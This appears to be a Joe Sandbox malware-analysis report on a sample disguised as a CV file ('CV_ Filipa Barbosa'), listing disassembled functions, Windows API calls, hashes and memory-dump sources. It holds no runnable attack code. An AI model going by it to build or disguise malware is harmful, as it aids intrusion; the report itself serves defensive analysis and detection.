                                                                          • Instruction ID: 9d530c1458b03819eaf074b68687b6fd89766f9778217fbeadcbe76ecc72360a
                                                                          • Opcode Fuzzy Hash: 7f73a092dce71d0f9e1cfef1251453a567e6a31e04e3b15188a25cd34ae9d96c
                                                                          • Instruction Fuzzy Hash: FE31F9B1901119BFEB159F90DC89AFFBBBDFF08340F04456AA612E2150D6789F499AA0
                                                                          Function 005F8FC8 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 005F8FE7
                                                                          • GetWindowLongW.USER32(013CDC88,000000F0), ref: 005F901A
                                                                          • GetWindowLongW.USER32(013CDC88,000000F0), ref: 005F904F
                                                                          • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 005F9081
                                                                          • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 005F90AB
                                                                          • GetWindowLongW.USER32(00000000,000000F0), ref: 005F90BC
                                                                          • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 005F90D6
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: LongWindow$MessageSend
                                                                          • String ID:
                                                                          • API String ID: 2178440468-0
                                                                          • Opcode ID: 007bac1786b868988fe98e3bfa5d8870db0188c1748c973b872655655a726394
                                                                          • Instruction ID: 15b86c5f4e42dd8799b55dc4045117e92dcab62a5349a2879346875726facd83
                                                                          • Opcode Fuzzy Hash: 007bac1786b868988fe98e3bfa5d8870db0188c1748c973b872655655a726394
                                                                          • Instruction Fuzzy Hash: 48315734600219EFDB20CF58DC98FA43BAAFB4A314F185165F6198F2B1CF75A840CB80
                                                                          Function 005D08AF Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005D08F2
                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005D0918
                                                                          • SysAllocString.OLEAUT32(00000000), ref: 005D091B
                                                                          • SysAllocString.OLEAUT32(?), ref: 005D0939
                                                                          • SysFreeString.OLEAUT32(?), ref: 005D0942
                                                                          • StringFromGUID2.OLE32(?,?,00000028), ref: 005D0967
                                                                          • SysAllocString.OLEAUT32(?), ref: 005D0975
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                          • String ID:
                                                                          • API String ID: 3761583154-0
                                                                          • Opcode ID: 7ff74cf64c30f892db79802c5d49a1450100079d8ae2a0d1c0dc91b3118fff30
                                                                          • Instruction ID: bfbfc58b0048259400f02feaf1fdc567f8ec21c0cc6aec0e2d5bc41f0804944a
                                                                          • Opcode Fuzzy Hash: 7ff74cf64c30f892db79802c5d49a1450100079d8ae2a0d1c0dc91b3118fff30
                                                                          • Instruction Fuzzy Hash: 18219176600209AFAB109BBCDC88EFB77ECFB09360B049527F905DB291D670EC458B64
                                                                          Function 005D2472 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsnicmp
                                                                          • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                          • API String ID: 1038674560-2734436370
                                                                          • Opcode ID: 50f699500002aff59553649258afc6f87ff0c11ce067403ba68ad86c6ddced95
                                                                          • Instruction ID: e673476f30036c0675a5e3d3d0bc69954248465937aa1d402524cb6e7a27b656
                                                                          • Opcode Fuzzy Hash: 50f699500002aff59553649258afc6f87ff0c11ce067403ba68ad86c6ddced95
                                                                          • Instruction Fuzzy Hash: E3214C31204512A7C731A63CAC16FBBBF99FFB5300F50442BF8459B281E7559942C395
                                                                          Function 005D0986 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005D09CB
                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005D09F1
                                                                          • SysAllocString.OLEAUT32(00000000), ref: 005D09F4
                                                                          • SysAllocString.OLEAUT32 ref: 005D0A15
                                                                          • SysFreeString.OLEAUT32 ref: 005D0A1E
                                                                          • StringFromGUID2.OLE32(?,?,00000028), ref: 005D0A38
                                                                          • SysAllocString.OLEAUT32(?), ref: 005D0A46
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                          • String ID:
                                                                          • API String ID: 3761583154-0
                                                                          • Opcode ID: 95910eac2e8bbe1dca157269651d133889d902ece1994843bc28f19fd8ae472e
                                                                          • Instruction ID: c8d78aed7fa6bead930489db34b59f02777146761ac3b0bbbd9f571bea2e819a
                                                                          • Opcode Fuzzy Hash: 95910eac2e8bbe1dca157269651d133889d902ece1994843bc28f19fd8ae472e
                                                                          • Instruction Fuzzy Hash: 58216275600204AFDB20DBBCDC89DAA7BECFF49360B049127F909CB2A1D670EC418764
                                                                          Function 005ACCCD Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetClientRect.USER32(?,?), ref: 005ACCF6
                                                                          • GetWindowRect.USER32(?,?), ref: 005ACD37
                                                                          • ScreenToClient.USER32(?,?), ref: 005ACD5F
                                                                          • GetClientRect.USER32(?,?), ref: 005ACE8C
                                                                          • GetWindowRect.USER32(?,?), ref: 005ACEA5
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Rect$Client$Window$Screen
                                                                          • String ID:
                                                                          • API String ID: 1296646539-0
                                                                          • Opcode ID: 4cb0fe789606fd87f18e546d8949dd5ab879a3dbb7625f3483d936a2371d3755
                                                                          • Instruction ID: 03c40a8e68c2ff8daf15e02e65f3e8fe04edc4079d9a98ed0866b0babd5e87c5
                                                                          • Opcode Fuzzy Hash: 4cb0fe789606fd87f18e546d8949dd5ab879a3dbb7625f3483d936a2371d3755
                                                                          • Instruction Fuzzy Hash: 13B15879A00249DBDF14CFA8C5807EEBBB5FF09300F14996AEC59AB250DB31A950CB64
                                                                          Function 005F1BDF Relevance: 9.2, APIs: 6, Instructions: 163processCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateToolhelp32Snapshot.KERNEL32 ref: 005F1C18
                                                                          • Process32FirstW.KERNEL32(00000000,?), ref: 005F1C26
                                                                          • __wsplitpath.LIBCMT ref: 005F1C54
                                                                            • Part of subcall function 005B1DFC: __wsplitpath_helper.LIBCMT ref: 005B1E3C
                                                                          • _wcscat.LIBCMT ref: 005F1C69
                                                                          • Process32NextW.KERNEL32(00000000,?), ref: 005F1CDF
                                                                          • CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 005F1CF1
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
                                                                          • String ID:
                                                                          • API String ID: 1380811348-0
                                                                          • Opcode ID: 6b1eb35dde9b965765374347fd44e0e527fa00e4c1d2763a31a2882b2226dc91
                                                                          • Instruction ID: db34fca12e7241dcab69ca91db23b7913582ffc9c0dbe85c23b2cb05657bd6d1
                                                                          • Opcode Fuzzy Hash: 6b1eb35dde9b965765374347fd44e0e527fa00e4c1d2763a31a2882b2226dc91
                                                                          • Instruction Fuzzy Hash: B8517E71104745AFD720EF64C88AEABBBE8FF88754F00491EF58697251EB30A904CB96
                                                                          Function 005F2FD6 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005F3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,005F2BB5,?,?), ref: 005F3C1D
                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 005F30AF
                                                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 005F30EF
                                                                          • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 005F3112
                                                                          • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 005F313B
                                                                          • RegCloseKey.ADVAPI32(?,?,00000000), ref: 005F317E
                                                                          • RegCloseKey.ADVAPI32(00000000), ref: 005F318B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                                          • String ID:
                                                                          • API String ID: 3451389628-0
                                                                          • Opcode ID: 5552f8bf61190fa445a46abee631437a90219b52c86ee717d314ed90a948fc15
                                                                          • Instruction ID: d165ee9b248c694c5993f9d5c58b839c3799ce6df8d4741690cd76485bd819eb
                                                                          • Opcode Fuzzy Hash: 5552f8bf61190fa445a46abee631437a90219b52c86ee717d314ed90a948fc15
                                                                          • Instruction Fuzzy Hash: 36513931108305AFDB14EF64C899EAABBF9FF88304F04491EF655872A1DB35EA05CB52
                                                                          Function 005F84DE Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetMenu.USER32(?), ref: 005F8540
                                                                          • GetMenuItemCount.USER32(00000000), ref: 005F8577
                                                                          • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 005F859F
                                                                          • GetMenuItemID.USER32(?,?), ref: 005F860E
                                                                          • GetSubMenu.USER32(?,?), ref: 005F861C
                                                                          • PostMessageW.USER32(?,00000111,?,00000000), ref: 005F866D
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$Item$CountMessagePostString
                                                                          • String ID:
                                                                          • API String ID: 650687236-0
                                                                          • Opcode ID: 5e845b0683182c58bda969f20b65cf9d9f9519aa007ba430b79b6b17bed2a739
                                                                          • Instruction ID: 0296dd325bb33eb581598a2b6d378cd2a6a1033b7213ee02bc468777cae8239e
                                                                          • Opcode Fuzzy Hash: 5e845b0683182c58bda969f20b65cf9d9f9519aa007ba430b79b6b17bed2a739
                                                                          • Instruction Fuzzy Hash: BB518E71A0061AAFCF11EF68C845ABEBBF5FF58310F14845AE915BB351DB34AE418B90
                                                                          Function 005D4AC2 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005D4B10
                                                                          • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 005D4B5B
                                                                          • IsMenu.USER32(00000000), ref: 005D4B7B
                                                                          • CreatePopupMenu.USER32 ref: 005D4BAF
                                                                          • GetMenuItemCount.USER32(000000FF), ref: 005D4C0D
                                                                          • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 005D4C3E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                          • String ID:
                                                                          • API String ID: 3311875123-0
                                                                          • Opcode ID: fd0d516dda6661f4af2636d0f5e8bc55a0a64b7d371fea80242c4cf47b969283
                                                                          • Instruction ID: 2a007984c047fbd775cbe0b1f22badc0f7a6e042b7e1135e79c2a281e5e3bee3
                                                                          • Opcode Fuzzy Hash: fd0d516dda6661f4af2636d0f5e8bc55a0a64b7d371fea80242c4cf47b969283
                                                                          • Instruction Fuzzy Hash: 4751877060124AABDF30CF68C888BAEBFE5BF54318F14815BE4259A3A1E3719D44CF51
                                                                          Function 005E8DE2 Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • select.WSOCK32(00000000,00000001,00000000,00000000,?,000003E8,0062DC00), ref: 005E8E7C
                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005E8E89
                                                                          • __WSAFDIsSet.WSOCK32(00000000,00000001,00000000), ref: 005E8EAD
                                                                          • #16.WSOCK32(?,?,00000000,00000000), ref: 005E8EC5
                                                                          • _strlen.LIBCMT ref: 005E8EF7
                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005E8F6A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLast$_strlenselect
                                                                          • String ID:
                                                                          • API String ID: 2217125717-0
                                                                          • Opcode ID: 9a7ecaf521b276949bcc302ec9d46cd8aaee9d3cc674bbff0aadb8675c11604e
                                                                          • Instruction ID: 837d20f69a562e3ce4a2298d1a8107d934d273a62c8eddcf07139fde191225d7
                                                                          • Opcode Fuzzy Hash: 9a7ecaf521b276949bcc302ec9d46cd8aaee9d3cc674bbff0aadb8675c11604e
                                                                          • Instruction Fuzzy Hash: 43418171500145AFCB18EBA5CD99EEEBBBAFB88310F104559F55A972D1DF30AE04CB60
                                                                          Function 005AABF5 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB34E: GetWindowLongW.USER32(?,000000EB), ref: 005AB35F
                                                                          • BeginPaint.USER32(?,?,?), ref: 005AAC2A
                                                                          • GetWindowRect.USER32(?,?), ref: 005AAC8E
                                                                          • ScreenToClient.USER32(?,?), ref: 005AACAB
                                                                          • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 005AACBC
                                                                          • EndPaint.USER32(?,?,?,?,?), ref: 005AAD06
                                                                          • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 0060E673
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
                                                                          • String ID:
                                                                          • API String ID: 2592858361-0
                                                                          • Opcode ID: a34f0a251209ee5c9b2f149a9d19efb5e5632c180e0b411a073aa3addbf83116
                                                                          • Instruction ID: 10c9a53b2790b31b185772c4f620edab3008977fc14925a00a7859c0cc0d06a2
                                                                          • Opcode Fuzzy Hash: a34f0a251209ee5c9b2f149a9d19efb5e5632c180e0b411a073aa3addbf83116
                                                                          • Instruction Fuzzy Hash: 75418070104301AFD710DF24DC98FBB7FA9BB5A321F180A69F9A48A2A1D7319D45DB62
                                                                          Function 005FE397 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ShowWindow.USER32(00651628,00000000,00651628,00000000,00000000,00651628,?,0060DC5D,00000000,?,00000000,00000000,00000000,?,0060DAD1,00000004), ref: 005FE40B
                                                                          • EnableWindow.USER32(00000000,00000000), ref: 005FE42F
                                                                          • ShowWindow.USER32(00651628,00000000), ref: 005FE48F
                                                                          • ShowWindow.USER32(00000000,00000004), ref: 005FE4A1
                                                                          • EnableWindow.USER32(00000000,00000001), ref: 005FE4C5
                                                                          • SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 005FE4E8
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Show$Enable$MessageSend
                                                                          • String ID:
                                                                          • API String ID: 642888154-0
                                                                          • Opcode ID: 35e0d5fe5005541cde37bd61a6ce2e1314e035654b7e8a83588c3f57d98f0410
                                                                          • Instruction ID: 8e04ae39e7ecc189b9695b13fd0d83d3cf587483814dd0993c6706cc880b4a23
                                                                          • Opcode Fuzzy Hash: 35e0d5fe5005541cde37bd61a6ce2e1314e035654b7e8a83588c3f57d98f0410
                                                                          • Instruction Fuzzy Hash: 99414034601155EFDF22DF28C49EBA47FE1BB05304F1881A9EA589F5B2C735A841DB51
                                                                          Function 005D98BA Relevance: 9.1, APIs: 6, Instructions: 100fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InterlockedExchange.KERNEL32(?,000001F5), ref: 005D98D1
                                                                            • Part of subcall function 005AF4EA: std::exception::exception.LIBCMT ref: 005AF51E
                                                                            • Part of subcall function 005AF4EA: __CxxThrowException@8.LIBCMT ref: 005AF533
                                                                          • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 005D9908
                                                                          • EnterCriticalSection.KERNEL32(?), ref: 005D9924
                                                                          • LeaveCriticalSection.KERNEL32(?), ref: 005D999E
                                                                          • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 005D99B3
                                                                          • InterlockedExchange.KERNEL32(?,000001F6), ref: 005D99D2
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrowstd::exception::exception
                                                                          • String ID:
                                                                          • API String ID: 2537439066-0
                                                                          • Opcode ID: 5ef69c50ecc38d88e7ea131c3491381030199ab54f7c446b08c98073507e0796
                                                                          • Instruction ID: 18ef4b87943a777d22744216fe5e68a4ba75a2e74669698dc016bb67accdff38
                                                                          • Opcode Fuzzy Hash: 5ef69c50ecc38d88e7ea131c3491381030199ab54f7c446b08c98073507e0796
                                                                          • Instruction Fuzzy Hash: 3D314131900205ABDB109F99DC89EAEBB79FF85710B1480AAF904AB246D774DA14DBA0
                                                                          Function 005E9B45 Relevance: 9.1, APIs: 6, Instructions: 99COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetForegroundWindow.USER32(?,?,?,?,?,?,005E77F4,?,?,00000000,00000001), ref: 005E9B53
                                                                            • Part of subcall function 005E6544: GetWindowRect.USER32(?,?), ref: 005E6557
                                                                          • GetDesktopWindow.USER32 ref: 005E9B7D
                                                                          • GetWindowRect.USER32(00000000), ref: 005E9B84
                                                                          • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 005E9BB6
                                                                            • Part of subcall function 005D7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 005D7AD0
                                                                          • GetCursorPos.USER32(?), ref: 005E9BE2
                                                                          • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 005E9C44
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                          • String ID:
                                                                          • API String ID: 4137160315-0
                                                                          • Opcode ID: e41e702e4259db9ebe8bb4257c512bfa561b0254cc719854fe9a56e53698c46a
                                                                          • Instruction ID: 449ade166da34e59491d3729b454822cd39904bd0f36d62799e7c9b69ced3dfd
